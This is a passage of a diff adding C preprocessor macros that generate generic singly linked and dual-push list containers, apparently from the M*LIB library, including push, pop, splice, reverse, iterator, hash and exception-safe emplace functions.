+      if (!b) return false;                                                   \
+      M_F(name, _next)(it1);                                                  \
+      M_F(name, _next)(it2);                                                  \
+    }                                                                         \
+    return M_F(name, _end_p)(it1)                                             \
+      && M_F(name, _end_p)(it2);                                              \
+  }                                                                           \
+  , /* no equal */ )                                                          \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const list_t list)                                         \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_HASH_DECL(hash);                                                        \
+    it_t it;                                                                  \
+    for(M_F(name, _it)(it, list) ;                                            \
+        !M_F(name, _end_p)(it);                                               \
+        M_F(name, _next)(it)) {                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      size_t hi = M_CALL_HASH(oplist, *item);                                 \
+      M_HASH_UP(hash, hi);                                                    \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* no hash */ )                                                           \
+
+
+/* Definition of the emplace_back function for single list */
+#define M_L1ST_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw)M_R(v);           \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Definition of the emplace_back function for dual push list */
+#define M_L1ST_EMPLACE_STRONG_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw)M_R(v);           \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Definition of the emplace_front function for dual push list */
+#define M_L1ST_EMPLACE_WEAK_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *front = v->last, *back = v->first);  \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_front_raw)M_R(v);          \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = back, v->last = front, (front != NULL ? front : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Deferred evaluation for the dual-push list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DUAL_PUSH_DEF_P1(arg) M_ID( M_L1ST_DUAL_PUSH_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DUAL_PUSH_DEF_P2(name, type, oplist, list_t, it_t)             \
+  M_IF_OPLIST(oplist)(M_L1ST_DUAL_PUSH_DEF_P3, M_L1ST_DUAL_PUSH_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DUAL_PUSH_DEF_FAILURE(name, type, oplist, list_t, it_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_BIx_DEF): the given argument is not a valid oplist: " #oplist)
+
+
+/* Define the internal contract of an dual-push list */
+#define M_L1ST_DUAL_PUSH_CONTRACT(l) do {                                     \
+    M_ASSERT (l != NULL);                                                     \
+    M_ASSERT ( (l->first == NULL && l->last == NULL)                          \
+             || (l->first != NULL && l->last != NULL));                       \
+  } while (0)
+
+
+/* Internal dual-push list definition
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_DUAL_PUSH_DEF_P3(name, type, oplist, list_t, it_t)             \
+  M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, _back, _push_back_raw, _push_back, _push_back_move, _push_back_new, _pop_back, _front, _push_front_raw, _push_front, _push_front_move, _push_front_new, _splice_back) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_STRONG_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_front, oplist, M_L1ST_EMPLACE_WEAK_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+
+/* Define the type of a dual-push list */
+#define M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)           \
+  /* Node of a list (it is liked the singly linked list) */                   \
+  struct M_F(name, _s) {                                                      \
+    struct M_F(name, _s) *next;                                               \
+    type data;                                                                \
+  };                                                                          \
+                                                                              \
+  /* Dual Push singly linked list.                                            \
+     Support Push Back / Push Front / Pop back or front in O(1).              \
+     This is done by keeping a pointer to both back & front                   \
+  */                                                                          \
+  typedef struct M_F(name, _head_s)  {                                        \
+    struct M_F(name,_s) *last; /* Pointer to the weak entry node or NULL */   \
+    struct M_F(name,_s) *first; /* Pointer to the strong entry node or NULL */ \
+  } list_t[1];                                                                \
+                                                                              \
+  /* Define the iterator over a dual push singly linked list */               \
+  typedef struct M_F(name, _it_s) {                                           \
+    struct M_F(name, _s) *previous;                                           \
+    struct M_F(name, _s) *current;                                            \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _head_s) *M_F(name, _ptr);                         \
+  typedef const struct M_F(name, _head_s) *M_F(name, _srcptr);                \
+  typedef list_t M_F(name, _ct);                                              \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+                                                                              \
+
+/* Internal dual-push list definition
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for type of the container
+   - it_t: alias for iterator of the container
+   - strong: name of the strong entry point (back or front)
+   - weak: name of the weak entry point (front or back)
+ */
+#define M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, strong, push_strong_raw, push_strong, push_strong_move, push_strong_new, pop_strong, weak, push_weak_raw, push_weak, push_weak_move, push_weak_new, splice_strong) \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(list_t v)                                                  \
+  {                                                                           \
+    M_ASSERT( v != NULL);                                                     \
+    v->last = NULL;                                                           \
+    v->first = NULL;                                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, list_t v)                                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *it = v->first;                                      \
+    while (it != NULL) {                                                      \
+      struct M_F(name, _s) *next = it->next;                                  \
+      M_CALL_CLEAR(oplist, it->data);                                         \
+      M_CALL_DEL(oplist, it);                                                 \
+      it = next;                                                              \
+    }                                                                         \
+    v->last = NULL;                                                           \
+    v->first = NULL;                                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, list_t v)                                           \
+  {                                                                           \
+    M_F(name, _reset)M_R(v);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, strong)(const list_t v)                                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    return &(v->first->data);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, push_strong_raw, list_t v)                                \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = v->first;                                                    \
+    v->first = next;                                                          \
+    /* Update weak entry too if the list was empty */                         \
+    /* This C code should generate branchless code */                         \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == NULL) ? next : node;                                      \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_strong, list_t v, type const x)                        \
+  {                                                                           \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, push_strong_new, list_t v)                                \
+  {                                                                           \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, push_strong_move, list_t v, type *x)                        \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_move, list_t v, type *x)                              \
+  {                                                                           \
+    M_F(name, push_strong_move)M_R(v, x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, pop_strong, type *data, list_t v)                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    struct M_F(name, _s) *tofree = v->first;                                  \
+    if (data != NULL) {                                                       \
+      M_DO_MOVE(oplist, *data, tofree->data);                                 \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, tofree->data);                                     \
+    }                                                                         \
+    v->first = tofree->next;                                                  \
+    M_CALL_DEL(oplist, tofree);                                               \
+    /* Update weak entry too if the list became empty */                      \
+    /* This C code shall generate branchless code */                          \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == tofree) ? NULL : node;                                    \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop, type *data, list_t v)                                 \
+  {                                                                           \
+    M_F(name, pop_strong)M_R(data, v);                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_move, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    M_ASSERT (data != NULL);                                                  \
+    struct M_F(name, _s) *tofree = v->first;                                  \
+    M_CALL_INIT_MOVE (oplist, *data, tofree->data);                           \
+    v->first = tofree->next;                                                  \
+    M_CALL_DEL(oplist, tofree);                                               \
+    /* Update weak entry too if the list became empty */                      \
+    /* This C code shall generate branchless code */                          \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == tofree) ? NULL : node;                                    \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, weak)(list_t v)                                                   \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->last != NULL);                                               \
+    return &(v->last->data);                                                  \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, push_weak_raw, list_t v)                                  \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = NULL;                                                        \
+    if (M_LIKELY(v->last != NULL)) {                                          \
+      v->last->next = next;                                                   \
+    } else {                                                                  \
+      /* Update strong entry too as the list was empty */                     \
+      v->first = next;                                                        \
+    }                                                                         \
+    v->last = next;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_weak, list_t v, type const x)                          \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *last = v->last, *first = v->first);  \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = first, v->last = last, (last != NULL ? last : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_weak_move, list_t v, type *x)                          \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, push_weak_new, list_t v)                                  \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *last = v->last, *first = v->first);  \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = first, v->last = last, (last != NULL ? last : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _push, list_t v, type const x)                              \
+  {                                                                           \
+    M_F(name, _push_back)M_R(v, x);                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const list_t v)                                         \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return v->first == NULL;                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(list_t l, list_t v)                                        \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(l);                                             \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_SWAP(struct M_F(name, _s) *, l->last, v->last);                         \
+    M_SWAP(struct M_F(name, _s) *, l->first, v->first);                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const list_t v)                                     \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (it != NULL);                                                    \
+    it->current  = v->first;                                                  \
+    it->previous = NULL;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it1, const it_t it2)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    it1->current  = it2->current;                                             \
+    it1->previous = it2->previous;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it1, const list_t v)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL);                                                   \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    (void)v; /* unused */                                                     \
+    it1->current  = NULL;                                                     \
+    it1->previous = NULL;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL;                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL || it->current->next == NULL;                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    it->previous = it->current;                                               \
+    it->current  = it->current->next;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->current == it2->current;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return &(it->current->data);                                              \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    return M_CONST_CAST(type, &(it->current->data));                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const list_t v)                                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    size_t size = 0;                                                          \
+    struct M_F(name, _s) *it = v->first;                                      \
+    while (it != NULL) {                                                      \
+      size ++;                                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    return size;                                                              \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _insert, list_t list, it_t insertion_point, type const x)   \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_ASSERT (insertion_point != NULL);                                       \
+    struct M_F(name, _s) *m_volatile next = M_CALL_NEW(oplist, struct M_F(name, _s)); \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    M_ON_EXCEPTION( M_CALL_DEL(oplist, next))                                 \
+      M_CALL_INIT_SET(oplist, next->data, x);                                 \
+    if (M_UNLIKELY (insertion_point->current == NULL)) {                      \
+      next->next = list->first;                                               \
+      list->first = next;                                                     \
+      /* update weak entry if list is empty */                                \
+      struct M_F(name, _s) *node = list->last;                                \
+      node = (node == NULL) ? next : node;                                    \
+      list->last = node;                                                      \
+    } else {                                                                  \
+      next->next = insertion_point->current->next;                            \
+      insertion_point->current->next = next;                                  \
+      /* update weak entry if current == front */                             \
+      struct M_F(name, _s) *node = list->last;                                \
+      node = (node == insertion_point->current) ? next : node;                \
+      list->last = node;                                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, list_t list, it_t removing_point)                  \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_ASSERT (removing_point != NULL);                                        \
+    M_ASSERT(removing_point->current != NULL);                                \
+    struct M_F(name, _s) *next = removing_point->current->next;               \
+    struct M_F(name, _s) *previous = removing_point->previous;                \
+    if (M_UNLIKELY (previous == NULL)) {                                      \
+      list->first = next;                                                     \
+    } else {                                                                  \
+      previous->next = next;                                                  \
+    }                                                                         \
+    /* Update weak entry  */                                                  \
+    struct M_F(name, _s) *node = list->last;                                  \
+    node = (next == NULL) ? previous : node;                                  \
+    list->last = node;                                                        \
+    /* Remove node */                                                         \
+    M_CALL_CLEAR(oplist, removing_point->current->data);                      \
+    M_CALL_DEL(oplist, removing_point->current);                              \
+    removing_point->current = next;                                           \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _set, list_t list, const list_t org)                        \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(org);                                           \
+    struct M_F(name, _s) *m_volatile next = NULL;                             \
+    struct M_F(name, _s) *it_org;                                             \
+    struct M_F(name, _s) **update_list;                                       \
+    if (M_UNLIKELY (list == org)) return;                                     \
+    M_F(name, _reset)M_R(list);                                               \
+    update_list = &list->first;                                               \
+    it_org = org->first;                                                      \
+    M_ASSERT(*update_list == NULL);                                           \
+    M_ON_EXCEPTION(M_CALL_DEL(oplist, next) )                                 \
+    while (it_org != NULL) {                                                  \
+      next = M_CALL_NEW(oplist, struct M_F(name, _s));                        \
+      if (M_UNLIKELY_NOMEM (next == NULL)) {                                  \
+        M_MEMORY_FULL(struct M_F(name, _s), 1);                               \
+      }                                                                       \
+      M_CALL_INIT_SET(oplist, next->data, it_org->data);                      \
+      /* Link new node to the previous one*/                                  \
+      *update_list = next;                                                    \
+      update_list = &next->next;                                              \
+      it_org = it_org->next;                                                  \
+      /* so that even on exception, the object is still coherent */           \
+      list->last = next;                                                      \
+      *update_list = NULL;                                                    \
+      M_IF_EXCEPTION(next = NULL);                                            \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init_set, list_t list, const list_t org)                   \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    M_ON_EXCEPTION( M_F(name, _clear)(list)) {                                \
+      M_F(name, _init)(list);                                                 \
+      M_F(name, _set) M_R(list, org);                                         \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init_move)(list_t list, list_t org)                              \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    list->first  = org->first;                                                \
+    list->last = org->last;                                                   \
+    org->first = NULL;                                                        \
+    org->last = NULL;                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, list_t list, list_t org)                             \
+  {                                                                           \
+    M_F(name, _clear)M_R(list);                                               \
+    M_F(name, _init_move)(list, org);                                         \
+  }                                                                           \
+                                                                              \
+  M_N(void, name, splice_strong, list_t list1, list_t list2, it_t it)         \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+    M_ASSERT (it->current != NULL);                                           \
+    /* First remove the item 'it' from the list 'list2' */                    \
+    struct M_F(name, _s) *current = it->current;                              \
+    struct M_F(name, _s) *next = current->next;                               \
+    if (M_UNLIKELY(it->previous == NULL)) {                                   \
+      /* Work even if next = NULL (i.e. list becomes empty) */                \
+      list2->first = next;                                                    \
+    } else {                                                                  \
+      it->previous->next = next;                                              \
+    }                                                                         \
+    /* Update the front of 'list2' if it was the last element */              \
+    struct M_F(name, _s) *front = list2->last;                                \
+    front = (next == NULL) ? it->previous : front;                            \
+    list2->last = front;                                                      \
+    /* Update 'it' to point to the next element */                            \
+    it->current = next;                                                       \
+    /* Move the extracted 'current' into the list 'nv' */                     \
+    current->next = list1->first;                                             \
+    list1->first = current;                                                   \
+    /* Update the front field if the list 'nv' was empty */                   \
+    /* This C code shall generate branchless code */                          \
+    front = list1->last;                                                      \
+    front = (front == NULL) ? current : front;                                \
+    list1->last = front;                                                      \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_at)(list_t nlist, it_t npos,                              \
+                        list_t olist, it_t opos)                              \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(nlist);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(olist);                                         \
+    M_ASSERT (npos != NULL && opos != NULL);                                  \
+    /* First remove the item 'opos' from the list 'olist' */                  \
+    struct M_F(name, _s) *current = opos->current;                            \
+    /* It shall refer a valid argument in the list */                         \
+    M_ASSERT(current != NULL);                                                \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (opos->previous == NULL) {                                             \
+      olist->first = next;                                                    \
+    } else {                                                                  \
+      opos->previous->next = next;                                            \
+    }                                                                         \
+    /* Update the front of 'olist' if it was the last element */              \
+    struct M_F(name, _s) *front = olist->last;                                \
+    front = (next == NULL) ? opos->previous : front;                          \
+    olist->last = front;                                                      \
+    /* Update 'opos' to point to the next element */                          \
+    opos->current  = next;                                                    \
+    /* opos->previous is still valid & doesn't need to be updated */          \
+    /* Insert into 'nlist' */                                                 \
+    struct M_F(name, _s) *npos_current = npos->current;                       \
+    if (M_UNLIKELY (npos_current == NULL)) {                                  \
+      current->next = nlist->first;                                           \
+      nlist->first = current;                                                 \
+      /* update 'front' if the list was empty (branchless) */                 \
+      front = nlist->last;                                                    \
+      front = (front == NULL) ? current : front;                              \
+      nlist->last = front;                                                    \
+    } else {                                                                  \
+      current->next = npos_current->next;                                     \
+      npos_current->next = current;                                           \
+      /* update front if current == front (branchless) */                     \
+      front = nlist->last;                                                    \
+      front = (front == npos_current) ? current : front;                      \
+      nlist->last = front;                                                    \
+    }                                                                         \
+    /* Update 'npos' to point to 'current'. */                                \
+    npos->previous = npos_current;                                            \
+    npos->current = current;                                                  \
+    M_L1ST_DUAL_PUSH_CONTRACT(nlist);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(olist);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice)(list_t list1, list_t list2)                              \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+    M_ASSERT (list1 != list2);                                                \
+    if (M_LIKELY (list1->last != NULL)) {                                     \
+      list1->last->next = list2->first;                                       \
+      list1->last = list2->last;                                              \
+    } else {                                                                  \
+      /* list1 is empty */                                                    \
+      list1->first  = list2->first;                                           \
+      list1->last = list2->last;                                              \
+    }                                                                         \
+    list2->first = NULL;                                                      \
+    list2->last = NULL;                                                       \
+    M_L1ST_DUAL_PUSH_CONTRACT(list1);                                         \
+    M_L1ST_DUAL_PUSH_CONTRACT(list2);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reverse)(list_t list)                                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+    list->last = list->first;                                                 \
+    struct M_F(name, _s) *previous = NULL, *it = list->first, *next;          \
+    while (it != NULL) {                                                      \
+      next = it->next;                                                        \
+      it->next = previous;                                                    \
+      previous = it;                                                          \
+      it = next;                                                              \
+    }                                                                         \
+    list->first = previous;                                                   \
+    M_L1ST_DUAL_PUSH_CONTRACT(list);                                          \
+  }                                                                           \
+
+
+/* Deferred evaluation for the bi-push list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DUALF_DEF_P1(arg) M_ID( M_L1ST_DUALF_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DUALF_DEF_P2(name, type, oplist, list_t, it_t)                 \
+  M_IF_OPLIST(oplist)(M_L1ST_DUALF_DEF_P3, M_L1ST_DUALF_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DUALF_DEF_FAILURE(name, type, oplist, list_t, it_t)            \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_DUALF_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal bi-push list definition (like dual-push but inverts front & back)
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_DUALF_DEF_P3(name, type, oplist, list_t, it_t)                 \
+  M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, _front, _push_front_raw, _push_front, _push_front_move, _push_front_new, _pop_front, _back, _push_back_raw, _push_back, _push_back_move, _push_back_new, _splice_front) \
